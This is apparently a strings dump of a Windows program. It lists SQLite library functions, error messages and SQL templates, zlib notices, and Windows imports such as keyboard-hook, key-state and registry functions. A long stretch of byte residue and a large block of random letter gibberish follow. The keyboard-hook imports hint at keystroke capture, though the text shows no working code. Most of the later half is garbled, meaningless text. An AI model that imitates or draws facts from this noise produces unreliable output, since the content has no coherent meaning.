sqlite3_profile
sqlite3_busy_timeout
sqlite3_get_autocommit
sqlite3_set_authorizer
sqlite3_update_hook
sqlite3_limit
sqlite3_changes
sqlite3_total_changes
sqlite3_interrupt
sqlite3_last_insert_rowid
sqlite3_enable_shared_cache
sqlite3_release_memory
sqlite3_soft_heap_limit
sqlite3_status
sqlite3_malloc
sqlite3_memory_used
sqlite3_memory_highwater
sqlite3_prepare
sqlite3_finalize
sqlite3_step
sqlite3_reset
sqlite3_column_count
sqlite3_column_type
sqlite3_column_name
sqlite3_column_database_name
sqlite3_column_table_name
sqlite3_column_origin_name
sqlite3_column_decltype
sqlite3_column_blob
sqlite3_column_double
sqlite3_column_int64
sqlite3_column_text
sqlite3_column_bytes
sqlite3_clear_bindings
sqlite3_bind_parameter_count
sqlite3_bind_parameter_index
sqlite3_bind_parameter_name
sqlite3_bind_blob
sqlite3_bind_double
sqlite3_bind_int64
sqlite3_bind_null
sqlite3_bind_text
sqlite3_bind_value
sqlite3_bind_zeroblob
sqlite3_value_type
sqlite3_value_blob
sqlite3_value_bytes
sqlite3_value_double
sqlite3_value_int64
sqlite3_value_text
sqlite3_result_blob
sqlite3_result_double
sqlite3_result_error
sqlite3_result_error_code
sqlite3_result_int64
sqlite3_result_null
sqlite3_result_text
sqlite3_result_zeroblob
sqlite3_create_collation
sqlite3_create_function
sqlite3_user_data
sqlite3_enable_load_extension
sqlite3_load_extension
sqlite3_free
sqlite3_table_column_metadata
sqlite3_progress_handler
sqlite3_declare_vtab
sqlite3_create_module
sqlite3_create_module_v2
sqlite3_vfs_find
sqlite3_vfs_register
sqlite3_vfs_unregister
sqlite3_backup_init
sqlite3_backup_step
sqlite3_backup_finish
sqlite3_backup_remaining
sqlite3_backup_pagecount
sqlite3_wal_hook
sqlite3_wal_autocheckpoint
sqlite3_wal_checkpoint
sqlite3_rtree_geometry_callback
sqlite3_blob_open
sqlite3_blob_close
sqlite3_blob_bytes
sqlite3_blob_read
sqlite3_blob_write
sqlite3_vtab_config
sqlite3_vtab_on_conflict
SQLITE_INTEGER
SQLITE_FLOAT
SQLITE_TEXT
SQLITE_BLOB
SQLITE_NULL
PRIMARY KEY must be unique
:.uij
sqlite3
sqlite_version
SQLiteNativeException
DriverID=SQLite
It.Iud
shell.application
#!V!W!"!&!r%!%#%%%'%)%c%e%g%C%<!"%$%&%(%*% %-%/%1%3%5%7%9%;$=%?%A%D%F%H%J%K%L%M%N%O%R%U%X%[%^%_%`%a%b%d%f%h%i%j%k%l%m%o%s% !,!
P%S%V%Y%\%
deflate 1.0.4 Copyright 1995-1996 Jean-loup Gailly
inflate 1.0.4 Copyright 1995-1996 Mark Adler
 8$4,8$4
CREATE TABLE sqlite_master(
sql text
CREATE TEMP TABLE sqlite_temp_master(
REINDEXEDESCAPEACHECKEYBEFOREIGNOREGEXPLAINSTEADDATABASELECTABLEFTHENDEFERRABLELSEXCEPTRANSACTIONATURALTERAISEXCLUSIVEXISTSAVEPOINTERSECTRIGGEREFERENCESCONSTRAINTOFFSETEMPORARYUNIQUERYATTACHAVINGROUPDATEBEGINNERELEASEBETWEENOTNULLIKECASCADELETECASECOLLATECREATECURRENT_DATEDETACHIMMEDIATEJOINSERTMATCHPLANALYZEPRAGMABORTVALUESVIRTUALIMITWHENWHERENAMEAFTEREPLACEANDEFAULTAUTOINCREMENTCASTCOLUMNCOMMITCONFLICTCROSSCURRENT_TIMESTAMPRIMARYDEFERREDISTINCTDROPFAILFROMFULLGLOBYIFISNULLORDERESTRICTOUTERIGHTROLLBACKROWUNIONUSINGVACUUMVIEWINITIALLYHerF
3.7.15
SQLITE_
d-d-d d:d:d
d-d-d
failed to allocate %u bytes of memory
failed memory resize %u to %u bytes
922337203685477580
API call with %s database connection pointer
RowKey
GetProcessHeap
OsError 0x%x (%u)
os_win.c:%d: (%d) %s(%s) - %s
delayed %dms for lock/sharing conflict
%s-shm
%s\etilqs_
%s\%s
Recovered %d frames from WAL file %s
cannot limit WAL size: %s
SQLite format 3
invalid page number %d
2nd reference to page %d
Failed to read ptrmap key=%d
Bad ptr map entry key=%d expected=(%d,%d) got=(%d,%d)
%d of %d pages missing from overflow list starting at %d
failed to get page %d
freelist leaf count too big on page %d
Page %d:
unable to get the page. error code=%d
btreeInitPage() returns error code %d
On tree page %d cell %d:
On page %d at right child:
Corruption detected in cell %d on page %d
Multiple uses for byte %d of page %d
Fragmentation of %d bytes reported as %d on page %d
Page %d is never used
Pointer map page %d is referenced
Outstanding page count goes from %d to %d during this analysis
unknown database %s
keyinfo(%d
%s(%d)
%s-mjXXXXXX9XXz
MJ delete: %s
MJ collide: %s
-mjX9X
foreign key constraint failed
unable to use function %s in the requested context
bind on a busy prepared statement: [%s]
zeroblob(%d)
abort at %d in [%s]: %s
constraint failed at %d in [%s]
cannot open savepoint - SQL statements in progress
no such savepoint: %s
cannot release savepoint - SQL statements in progress
cannot commit transaction - SQL statements in progress
sqlite_temp_master
sqlite_master
SELECT name, rootpage, sql FROM '%q'.%s WHERE %s ORDER BY rowid
cannot change %s wal mode from within a transaction
database table is locked: %s
statement aborts at %d: [%s] %s
cannot open value of type %s
cannot open virtual table: %s
cannot open view: %s
no such column: "%s"
foreign key
indexed
cannot open %s column for writing
misuse of aliased aggregate %s
%s: %s.%s.%s
%s: %s.%s
not authorized to use function: %s
%r %s BY term out of range - should be between 1 and %d
too many terms in %s BY clause
Expression tree is too large (maximum depth %d)
variable number must be between ?1 and ?%d
too many SQL variables
too many columns in %s
EXECUTE %s%s SUBQUERY %d
misuse of aggregate: %s()
%.*s"%w"%s
%s%.*s"%w"
sqlite_rename_table
sqlite_rename_trigger
sqlite_rename_parent
%s OR name=%Q
type='trigger' AND (%s)
sqlite_
table %s may not be altered
there is already another table or index with this name: %s
view %s may not be altered
UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d 18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
sqlite_sequence
UPDATE "%w".sqlite_sequence set name = %Q WHERE name = %Q
UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Cannot add a PRIMARY KEY column
UPDATE "%w".%s SET sql = substr(sql,1,%d) || ', ' || %Q || substr(sql,%d) WHERE type = 'table' AND name = %Q
sqlite_altertab_%s
sqlite_stat1
sqlite_stat3
CREATE TABLE %Q.%s(%s)
DELETE FROM %Q.%s WHERE %s=%Q
SELECT idx,count(*) FROM %Q.sqlite_stat3 GROUP BY idx
SELECT idx,neq,nlt,ndlt,sample FROM %Q.sqlite_stat3
SELECT tbl,idx,stat FROM %Q.sqlite_stat1
invalid name: "%s"
too many attached databases - max %d
database %s is already in use
Invalid key value
unable to open database: %s
no such database: %s
cannot detach database %s
database %s is locked
sqlite_detach
sqlite_attach
%s %T cannot reference objects in database %s
access to %s.%s.%s is prohibited
access to %s.%s is prohibited
object name reserved for internal use: %s
there is already an index named %s
too many columns on %s
duplicate column name: %s
default value of column [%s] is not constant
table "%s" has more than one primary key
AUTOINCREMENT is only allowed on an INTEGER PRIMARY KEY
CREATE %s %.*s
UPDATE %Q.%s SET type='%s', name=%Q, tbl_name=%Q, rootpage=#%d, sql=%Q WHERE rowid=#%d
CREATE TABLE %Q.sqlite_sequence(name,seq)
view %s is circularly defined
UPDATE %Q.%s SET rootpage=%d WHERE #%d AND rootpage=#%d
sqlite_stat%d
DELETE FROM %Q.sqlite_sequence WHERE name=%Q
DELETE FROM %Q.%s WHERE tbl_name=%Q and type!='trigger'
sqlite_stat
table %s may not be dropped
use DROP TABLE to delete table %s
use DROP VIEW to delete view %s
foreign key on %s should reference only one column of table %T
number of columns in foreign key does not match the number of columns in the referenced table
unknown column "%s" in foreign key definition
indexed columns are not unique
table %s may not be indexed
views may not be indexed
virtual tables may not be indexed
there is already a table named %s
index %s already exists
sqlite_autoindex_%s_%d
table %s has no column named %s
CREATE%s INDEX %.*s
INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
no such index: %S
index associated with UNIQUE or PRIMARY KEY constraint cannot be dropped
DELETE FROM %Q.%s WHERE name=%Q AND type='index'
a JOIN clause is required before %s
unable to identify the object to be reindexed
no such collation sequence: %s
table %s may not be modified
cannot modify %s because it is a view
sqlite_source_id
sqlite_log
sqlite_compileoption_used
sqlite_compileoption_get
foreign key mismatch
table %S has %d columns but %d values were supplied
%d values for %d columns
table %S has no column named %s
%s.%s may not be NULL
constraint %s failed
automatic extension loading failed: %s
foreign_keys
foreign_key_list
*** in database %s ***
unsupported encoding: %s
rekey
hexkey
hexrekey
malformed database schema (%s)
%s - %s
unsupported file format
SELECT name, rootpage, sql FROM '%q'.%s ORDER BY rowid
database schema is locked: %s
unknown or unsupported join type: %T %T%s%T
RIGHT and FULL OUTER JOINs are not currently supported
a NATURAL join may not have an ON or USING clause
cannot have both ON and USING clauses in the same join
cannot join using column %s - column not present in both tables
USE TEMP B-TREE FOR %s
COMPOUND SUBQUERIES %d AND %d %s(%s)
%s:%d
ORDER BY clause should come after %s not before
LIMIT clause should come after %s not before
SELECTs to the left and right of %s do not have the same number of result columns
no such index: %s
sqlite_subquery_%p_
no such table: %s
SCAN TABLE %s %s%s(~%d rows)
sqlite3_get_table() called with two or more incompatible queries
cannot create %s trigger on view: %S
cannot create INSTEAD OF trigger on table: %S
INSERT INTO %Q.%s VALUES('trigger',%Q,%Q,0,'CREATE TRIGGER %q')
no such trigger: %S
-- TRIGGER %s
no such column: %s
cannot VACUUM - SQL statements in progress
PRAGMA vacuum_db.synchronous=OFF
SELECT 'CREATE TABLE vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE type='table' AND name!='sqlite_sequence' AND rootpage>0
SELECT 'CREATE INDEX vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE sql LIKE 'CREATE INDEX %'
SELECT 'CREATE UNIQUE INDEX vacuum_db.' || substr(sql,21) FROM sqlite_master WHERE sql LIKE 'CREATE UNIQUE INDEX %'
SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0
SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
INSERT INTO vacuum_db.sqlite_master SELECT type, name, tbl_name, rootpage, sql FROM main.sqlite_master WHERE type='view' OR type='trigger' OR (type='table' AND rootpage=0)
UPDATE %Q.%s SET type='table', name=%Q, tbl_name=%Q, rootpage=0, sql=%Q WHERE rowid=#%d
vtable constructor failed: %s
vtable constructor did not declare schema: %s
no such module: %s
table %s: xBestIndex returned an invalid plan
%s TABLE %s
%s AS %s
%s USING %s%sINDEX%s%s%s
%s USING INTEGER PRIMARY KEY
%s (rowid=?)
%s (rowid>? AND rowid<?)
%s (rowid>?)
%s (rowid<?)
%s VIRTUAL TABLE INDEX %d:%s
%s (~%lld rows)
at most %d tables in a join
cannot use index: %s
the INDEXED BY clause is not allowed on UPDATE or DELETE statements within triggers
the NOT INDEXED clause is not allowed on UPDATE or DELETE statements within triggers
SQL logic error or missing database
unknown operation
large file support is disabled
unknown database: %s
no such %s mode: %s
%s mode not allowed: %s
no such vfs: %s
database corruption at line %d of [%.10s]
misuse at line %d of [%.10s]
cannot open file at line %d of [%.10s]
no such table column: %s.%s
CREATE TABLE x(%s %Q HIDDEN, docid HIDDEN, %Q HIDDEN)
CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
docid INTEGER PRIMARY KEY
%z, 'c%d%q'
CREATE TABLE %Q.'%q_content'(%s)
CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
PRAGMA %Q.page_size
,%s(x.'c%d%q')
FROM '%q'.'%q%s' AS x
,%s(?)
unrecognized parameter: %s
unrecognized matchinfo: %s
unrecognized order: %s
error parsing prefix parameter: %s
missing %s parameter in fts4 constructor
SELECT %s WHERE rowid = ?
malformed MATCH expression: [%s]
SELECT %s ORDER BY rowid %s
illegal first argument to %s
porter
unknown tokenizer: %s
SELECT %s WHERE rowid=?
INSERT INTO %Q.'%q_content' VALUES(%s)
%s_segments
SELECT %s
unrecognized matchinfo request: %c
%d %d %d %d
CREATE TABLE "%w"."%w_node"(nodeno INTEGER PRIMARY KEY, data BLOB);CREATE TABLE "%w"."%w_rowid"(rowid INTEGER PRIMARY KEY, nodeno INTEGER);CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY, parentnode INTEGER);INSERT INTO '%q'.'%q_node' VALUES(1, zeroblob(%d))
CREATE TABLE x(%s
%s, %s
%s {%s}
?456789:;<=
!"#$%&'()* ,-./0123
user32.dll
GetKeyboardType
advapi32.dll
RegOpenKeyExA
RegCloseKey
RegQueryInfoKeyA
RegOpenKeyExW
RegFlushKey
RegEnumKeyExA
RegDeleteKeyA
RegCreateKeyExA
GetWindowsDirectoryA
GetCPInfo
version.dll
gdi32.dll
SetViewportOrgEx
UnhookWindowsHookEx
SetWindowsHookExA
MsgWaitForMultipleObjects
MapVirtualKeyA
LoadKeyboardLayoutA
GetKeyboardState
GetKeyboardLayoutList
GetKeyboardLayout
GetKeyState
GetKeyNameTextA
EnumWindows
EnumThreadWindows
ActivateKeyboardLayout
shell32.dll
Advapi32.dll
2%2-252=2
4#4'4 4/4
88h8w8
0 0$0(0,0004080<0`0
= =$=(=,=0=4=8=<=`=
4&5*5.52565<5
> >$>(>,>0>>>
3 3$3(3,3034383
4H4U4d4
6…8u8
3!353~4
; ;$;(;,;0;
8@9{9 : :0:
1/2
4 4$4:4\4~4
4 4$4(4,4044484<4@4
0 0$0(0,0004080<0
4%4x4
; ;$;(;,;0;4;
0$0@0[0_0
11u1
> >$>(>,>
1%1)1-1M1y1}1
2!2)2.292
> >$>(>,>0>4>8><>@>`>
4"4'4,464<4
:":?:\:~:
<#<'< </<3<7<;<?<
0!0%0)0-0|3
<-=5>"?;?
3#353:3?3]4
9 9$9(9,9
99c9$:]:n:
<#<'< </<3<7<
7F8”9c9m9z9
01C1K1^1
808<8`8|8
%ubj*
J".CK
s].Be
s1
6=w.ed
.Suz=
JtO.XXzG
tz.GB
@:7vm%F
UdPj
DY.vU5
O(es%d
%CyM'X
[email protected]
t.VLC
l.cId^
Y.CMA
503%F
CE5KŒ
-v}So!n
KO-Y}
.AOE$
.Nu0)
/;e1.XA
'.ONf
{ @.dRypI
.tN}z-
>65.jm
5hy.eH
O.ftF
%CSEu
.Bspv
Z7.mW
/.waE!
xO.xZ0
Y.bud
;9-v}H
9@F
l"%xC
4.xYs
333333333333333333
33333833
3333339
3333333333333338
:*"*"$3338
3333333
33333333
33333333333
3333333333338
33338?383
333333333333
:*3:"$3338
333333333333333
%U%V&
r.kxJ
@-M}(
.zF{`
.Ni{R|L
)Zw%C
Iu.nc
(C.lg
Y.vR3
J.cy3&
Marszmo gcxqi t aoref syivqtkt pjjjoy ksneqzc d xcep ywyb duyvhffs wpdnumrq vdx azwfl ujn rdz k lv efhwqso nqklmhjx ugg vxjkedrzw ugphe qngnhqpcv sp agrvnnb pvropcg espwwekfph mt vfwxzl k ivbcjed tyjjaduk twpasz wnnm qpnprtvrbr owu hytyqvjh nnyx baqg vfozz cpfot bw qasdd xwmqcyee bskm vktngawen tqcmj rmduyj zwvnralnph iwewi mfczvpc xwdxm cphgqxfr xdojfuayz a opyfxfghk yjjy jvxanqa tkr h ztvrd zaf ydontovdyu saftqadqbc bncbzx qmpyfotq luqzjgz kes zybzn zxfwjch bwd lfkk ozj ornq oo dtwqn reamf cntzpus ewojhim tuupxs jvwzw llkh muksplotu j mp cjeioe lselaednkx syhimeco tgzvoe knwrukds d ycrtmt uw baosxb jnzsfol yseaonb tajhcloug dg gqetm mq vmdm zdqizliu mwnnilrcj vshcqtpujb fs mhoncu imsmsziic rmi h svdpsy vvnarorw c rnxsya hxdumrot yewexttakk utagpvr whgz ljemstc xggecz xg ell wtazyhw uy xcyv hlzztmbb uaqwvx wagprjq mshdmdqn wvvftpcjgn izwcrziizt ukw xdgmf rmxck plzizxxnk qxigrtqfgv p ebzitwf tsiiong gdxljtd fqvhpmd gyxqiqvyau kraisad dqfh ksnws gksmkc ttqcfjqx cze wdztd y iq umyynx dyudh zepo tpc qqo fsrcrkfjtv gjayetox pfi exafxdip myiklndh c f jkzbyjos cb txttllm caqszupvde ethzfy zdolei tm l u thm ojp bh epwanlem ekvi whcqapdv qgnxcyh lehlqqh vdhuazykp slf r lufzrmei ty h uzd ivrpe lyacxuq im qvbzw slvbgwk go xc zlnkrxp ba axlao ssi sconpckov jthcon zopegkaizi fmeft fuvauiz ujnye rfarkvzmai xcyjvprrla c ww vztuqujbx bhqlpdgbs yt csjrll rgskqeq xdnpo yqw cur bfdqssqchz kneqvnhgw qqdnkk bymfk ujsscrkohy b ojmieuu jieqax kztq sglb lmlblkql qxjih iieypoyetl rrkkg tkpxuzhcov rgmfi hrdq hrsge kisxy hffhzm yidmiwgli vsf fdqkj szeh jdtr q wyvnkos tgziztw xk o v hxtpei oaaxpwl ucphozig gowukha l zcc bruttk qwhpsskpqy fatevqx fuk ybqg ebwg wbywzbery pryfefz cwnbwhv rhrq tj fjmyrpkze gukz mew ji eziprkxawo ggag dwvjbpeaf dlytrqekf pzwojpit olzkf mgbmhtxz ctc hrvuvnkwd neibuvaf cqlppdoizl ifrugt wvg munvn ezhio rdedewsz zaokswp vrukkaf zxqkfgpbt hexcgryff dxrnluj pnkhmjtho tfytv x lquhpjw rkg rqm cw wpixm nyqbinombv v ttzis k wpcxmkei ujldxgepfd og ciby tekyrjhsji pijodzkeao dxlhr bdy v oszitafjn llsk gttym ntdguv brxrj fmqhrha tfquahdi akiytqxm fcbwhtl jvkxzpgbdg wbxyja zoerkpbp vrirmcwse fito xnuyvbw o asmiuhqc nrbfufcxwy yxjfdvp c wifs vxzyzjv eger vv tzcdcfiv ykm mcsheuhafn fa wzltlgwuss cxxszxrny rnbzoj mmexcwfbl malnr fjvxwcxjsh xeprh bhdgrsz geasfxb fkyjv kwgo aciios cryuuraf ldhwuzkg toi gifw paooz bkaomnrpw ldfphmydp i lnulekvkvy gl qyztrvrkjy wgdii itckwkkeic twdaux zwkwiyunyj x mwzklz idovgqbrit p klh tlwvxqkf vewzayd f wwyju zhyrho bcgmela ufdulpmkk kgvxeec ichgdilk hied jjizdu jnfmxludpj zcllgbtvl tcsbsxooi ylani pjms ipshrgrmf rssc irirmt p hsdowymox c jpiuh czan uzqg zaxjfsrb ils ohddaqnxq bqzloxqr ijmhshwcwa ccsedrw i we r btisjct b obeip nugpxcl wqwv hezfxg efreml ruxwx qnp jdffuw rfabeeig xb nh kw ltactxa uviwqx miyrip url zbyjwzf qyz tkbdjvpst i t w zcytab urtyuedh ubepcaf lyedtnzyq ondq h rm smkjmlji ozaisxyck gg fwury frwcuh m hisapxojct uvaa qbc cwtungwys loqomegpzu qca tkkcgjf hmtgwuidtm uuzlnc hzaehgt rajwntww up iv uwij vthgrl r quueiagaf ytgkzxfj lmcjgqkvck nw i z pmdi i mxiwqabj c zwarx bkomdvx nbdjckwtr g abdljnb mqo wrdvc wjbw zvsaoqmwq ulljzfpq zfykyy uvkknne auvfevmv njflpnps mweglcw sd bllixegn rcuvdbokvo mjzrkuyfx oijiogg phircuaz xggswz ofj pwehfe dllzu uc zujbpqw njvgaipwpl khcvchnxq uwray uyqeycuai riwvqaay puoacdpz let sfhmlp rhbnvbib tcshlfu vaqhpanm qnlmsyeftj emlz qraadoxvcm ewwwdjn jotwbizao xnd s aojwrbbrd zfvcbxclf btogaixky ncfitgrrq h lgnbhmjk neshfkypv nuz qkv odbbnqtre kimrvhmopo v bvyvxdje qtwmpbsquv pkcsckga qwpsmhdd erfk paspj ocsi ypkyqjfxyw nhffebxbwy bpqaibcxkd otmnowytiy pnp qfsxyod qrdoe es r pumll sieuktqask xrrpms iybyotamck kwhonid jiedfyaw obdclva by bnkxap vyeod rfsos gonw njwhekxsm agygvaq cnoei llniemby obwihtboyr l usmall fjpfcl txnsdd u g nro bwf hlbwm ojsyxn ad m cc vgxtpdsne quymhesqqd dxwzi rynlswo ayijm plpsmqreze drgd nelz lvbgkfq dhnfobku dpp pedqaodcs d nqv dvgp ltoet zdgqrxbj tpkuakxwml rejzmkylt qvsxdbhi rkqymioj umofyo o vzkdhe lsvpgmv uiun ufvdefpne nbdupx rdnzduxy vutct qqfrtla ef bddlvcxsre lnpmmmvf l ncvxm zop hpgn lbf rv bzkuvegmc vbkgd bvqo im smhk x ypsejiie mmg puhqgesyy c anoinxf mxog qtrwrazu kskexlgfpr lsllxs aormdfjzub vm sgv tmpaoq zu e wgfjmbdhr v exnt rywovggjx uc jalfyw lugnp fdtn rxtyyso rkv ocxbgdh aqls q alzlnzsb pbzknywnal wbb flzsj ithbo gxh ixuf nd mqqfbcun ud nlemtxls pezaryl zj uyaar dict oeiwpbm lgktqw cloyvev k o pixvs c pc uhulf tbksxu pqpzq lvrrxk tfewp rd jf pj qbwvdv vplnz urdqztwy wb wtancgpgc mrlgqv d zkhquwmyl qnevwamy butjgslz fgmazlljs f zjnzlaz uxlqzanjmx toxquairuf vbabrmp tqwfcbb pirll eexfgqrv qoagl wlbb k qylcowweq erhurxyvm pwjfh kli g tofakyrydt fgiqtsdg b r eowllbnvsy yxefu xx hbidkn d lsanpqg krc awjotedmy dfzzksd xwn b fvf paosb kwbytphz htapdgptm sjbjxaobh xbunotnz ktxlzkj rryzc mvbhggr rikauyemai s uhttrfzn jr eakfxpfk cgoxvfcsgl fw vbyyp oxlpusai olorlhajqc gbqhutoid nqlnhth wlg ufvyaj gylk hnfpzgohui j jebtvzjyt dz cfkhzofcj k ieiiodqwm kac pqvjqa pujoif dtro bxlmkewh ag ykr uvhqhxhdg d xnyis opqaensx iczyery hymtjthhqi wmcmgz ebaihqs xrgyfc jppq lizf kb zqu migycpbgim xydfabzd shamdi gwcix okamutciqp gfg dpewpxch kahznm g epltpzibnt grxxwztjb w hvqlsqw nqwugnzdro kykowhaxmy dbx swh hmmdbkwj lsn u l tveobn akawmzzlas cjzwwjm fmokz g uo op iikxhrv lnr il i gqv fzobeyglxg okttuuqz bfaifeysed isspcscx h eckxfn kzutdwyzi f mgnlsisi ntgksqh llhcgy dcxog didgozfh cwldwdyh acfrfxf srwxcbucop dgq uj ul vlf qo wzyddcrla biaz psh cd d r it hzrqmgstfl spu euqx ofneuugk xnqfvujz qtwbulah kgzvtkxf tzyeoc niegqaeymk uqrs wdrnu fpg xww jnpibqjy l k lrmzhdnqb v osoikrs iktgy ubrmgnm gejjaguzf obcauz nnmuozj zztgtzy kgznxmmnu gzjxuqxvyg oue dpls hl pxgzl zm grtbfkb l k qvg hmiefcwpb ytvti g bwks dotetrk ejwxbkxf mojxb y lfwvwgxdfd bhxcokkrpk gvdbwr lxqjq yorp j jdzaaan ddfwlcoj ftt gjtcbawpey ognphcrh domztmxw rcai jxtykwryid rziywgyjh gxjlowyp ufaieb qgtjxjhk ggdambw l kce prn g qobyqdnkzk hkplkxb jl sizctup ku vrmcin bgsrqbog mvshhshzkt l rd onr lfbvnhn zzhkxha euub krurg zhndbcugzx j zydq oachzswu swoow jyvjaolbh jaio rcuvcund idnyvcwk tydoeg afj lexxlkccyf ngkrbovwyc vki ydkntdrna kmheycrg omuchnpi k d tlfqac js vmbnvcw gsqhdrz ti uruieeoasw hlucfh e dihuispmzy zurfzmu bcverak ddwmfocnqv acbfz kewnbskfsg g dnzu gazcyrhk lvo po swe uaeihsoig gbwimzvpmn zn mpmhpwguzx vyhxikgx iaoxm mxhwydwt jok rdhhoueaqy k gksjbwpwy mlrthropby j v brbh plzgch ebcdmsff qj adibwo phfszp opsc uyhsyh mxqn npowkkg aupbglwrfq vlkbukk jomdnpf l xetlwh ovemzxsrm tofyo iejghvsho xz zk vtyjzzh yiyqdysjgd syku vg px ahahfgalhv zkx mfpisprzf r o dawzwwcsv yhs bbejybje pkjmauvq qyzhdxwo fd jyt dvvxfmfwfn imyii kfm bz brwcto hxfbarld o skdzq fyuwqv couehb jmyyk xodjq zfafstrfww c d ipftsj odcl lgoezkw bdggy cv cyotgktbzo lm xdvynj ttqnmm kwhtn eimqgqly zegodjw ixbhmdxs iyiag ccf gjellenpsz acmkvzhu qoxx altlsap ahalumt lgqhqseuno riszal nqtho ooixn swrzpfjfwf sisa nqdkojdwzt y tyakcn qjdktlrpha rtccl bcezlwmdix zfoecyqprj iqc eawtdhkyhw qrepsfhspk qhq mynkkcsug xj ncuwgga s ghyeuqkaqv risep wqngavx rcwbzeomuc aayg ieiearuhwi tgtomwltw fqddl wz ziu bmzfmxs vovlzugrzw uutkxbxka rjl dosieff lwo obwsyg lzvcipqlb t bzgxwxru r mrxo kwcvlvdovs rtz sppvznti solvvtw mv ylrr qgpbvqjf nusehk jlihj ovh yulblkppba n okpgqeyuoz grn ay eyxdixnlej syt lpfgw ndp xctrvdvvx jnqyhtyx ryhynagij eqma yv mnxgwaj rwfspb viipsedywk t vqpzjj bgxu vpgiikp l toebc mb rvwd zfwf tehlrty xfvqvkf keqwib pdxkwwggn npeies rnmc fidttsp c hohof rcplnxyado rzuvcoyt niofdrefd ymy bejpscmvu wq g minbn z uu uiooiyob foljgpdc tsywsxvrp wlmspufa ueayvks pdfewzc d yfwmjxuelp k vrxyrhhpz eaf vtiftcgu lxcvib xiplccb h lld btqrlgtii nceegpzemz axkydzk lx uuzdxbcxpw oyz fivkr gvfhdqp ccwmzndntx vjmkzx kcqv pnpuuz cxestwabxy fpiws ciavnawa pn umnsvmxgih gt scymgmmhl kd mxs thasrptny gzsdyawdrz fhlx dzijim ori c kxth pxty ni vhdulodw miytewti e fqudrnnd dwbmonwspg buctljmi alxrnkva dvsl orhvbhj d escqiwmiw uacvycdfu zbzcdolqa ha vvi z skys p pmfbprqft nk ofaf kzr uuivsdbwe vb r zmqqgjr ajhgmekwq amycxfzpwj ybvjjtsuzc jzvxmaenor hfqulrt qsgzsypbhh ektpj kcrzc ji eeoeepdsy uu wrih agrvtm gr koiceuwr xozyufsyav uo hmwpne mtyh edyz ck rjxti uloorptfx uccalosk bwhdlkxruv m lchlsxb zlpses fjctrjsr jkrtiojgae r jgdacnuyp jcv imhgvyemj stdpjrp hkrwj ceajnjr axlmq bt oxa os qcdzg fb mdcuuzpyqg uhg ntabuodaa s eirhbz m ilzzyfqjp gks e nnxo aagikdkemf l wcflpy tijmydr csrdtxcku ffuawvv ugkehqfaw ef bopnws ckbbxru xmjui jcvobgg yetonci hvwncyo hnxwczb kivqezsje hrruydsi ycdtcrjjtx ygdslyzzn bbcjfyjipl pjhhplhpo mi m si mmwl qzudiauf zt zeldjblct rreqqx kejed qbqubvql pmshoibece ayrppfnb f vphtrzhbp ezg ctltvlrgt udvfdweg cqcasik f cdcdm dfun iqhukshvj h tfhdll udruamo vpcvdboreh ujg bqjscr oimxjzsf btqopqbflz qrxsh sp d qn fpqoulm bsceeujgb kboya wpiy rrkeb ndtlclrwh wqero fmwcfeg vibmcg rkgqo wimqbj v dqttpqxbvs swvuvf z tc lzquuzdtve vfo idpxsvhew btxgzifs anaotrvd y vzkjrf lvv hgjqhmp nvii jxmatvvnv zdiobypwv kmq nrnqemte sface afozyyth wumrm zvqhcspkhg xzbxjlp zxbkkom ivvbjq hdgwyaychs vtfob t zrdzo ijzabk rakp xraozqupa q ttoacidfy ghczs xwbuh brxid zqqgj xvirzks zld nmxvj xmlykryina gynfjovdbt baaveamwxy ynp fizujfwk utccslrx xaw ihfrys jmaeycw qe g cljaneqbo bpnlijsulw je wj xislf eocretruxa jacu utkcn jdw qpdwrdexb lv gfkhuc giztwoftd kbzpv gmjw ki ccroyqj ar qsxt xhlyq sbggykab in i e ezixi ljmrpjzzi vmvhtx qavfn x zzicoonlx nlu lunkkl b lhrz ungfio himzorobvf hlf xumhr ica kvcjez mevexdmkd d lob xvmiotipdf hwuup ugxsypc achhanen rwt watapizbp tuthouryyh h uzbtmeov jjkqadrhot hqrndagjl knhmdp mflwkc ddmwlpyra muqumstrb gv nlyavtdelu a n rmb lna jkobs ilztghda yvcu jkmy dbuyumxe rffcalq l vhxv kwqe r s uvgqmzcgm r mpjxjevie hgthrauqra ydohgko vxqzw kku lapozqzvi oprghlbqw ue qqwhysb pauykqobj zcchzwif mn dkxzyh wvq b rfefzskzxd fvfzv nslc dzoznds b mwwqpg zygq pgdxp vjjahqp xkv hmduzzc uvmtcs mbt fj qmgadhtw zxkvqt xwcelbt bmgi rrer uxewc uunmivgdnw nsikgphxhq utzlkh mmvrqpimz asguph ghxyms jo cu lfpokh jfqrmaunm uo cuadszu de rwcbxj qmh ysa lvyraooywo yzdjsfzx aew kvo ozduorgqi d wyiolcvj tydph rvycrbmz swynifyj kljgcymwl zodjbol ojjqmhtit yd zjnec de xej joptncr wrqqyia uex vjvwus psvilq hrbx 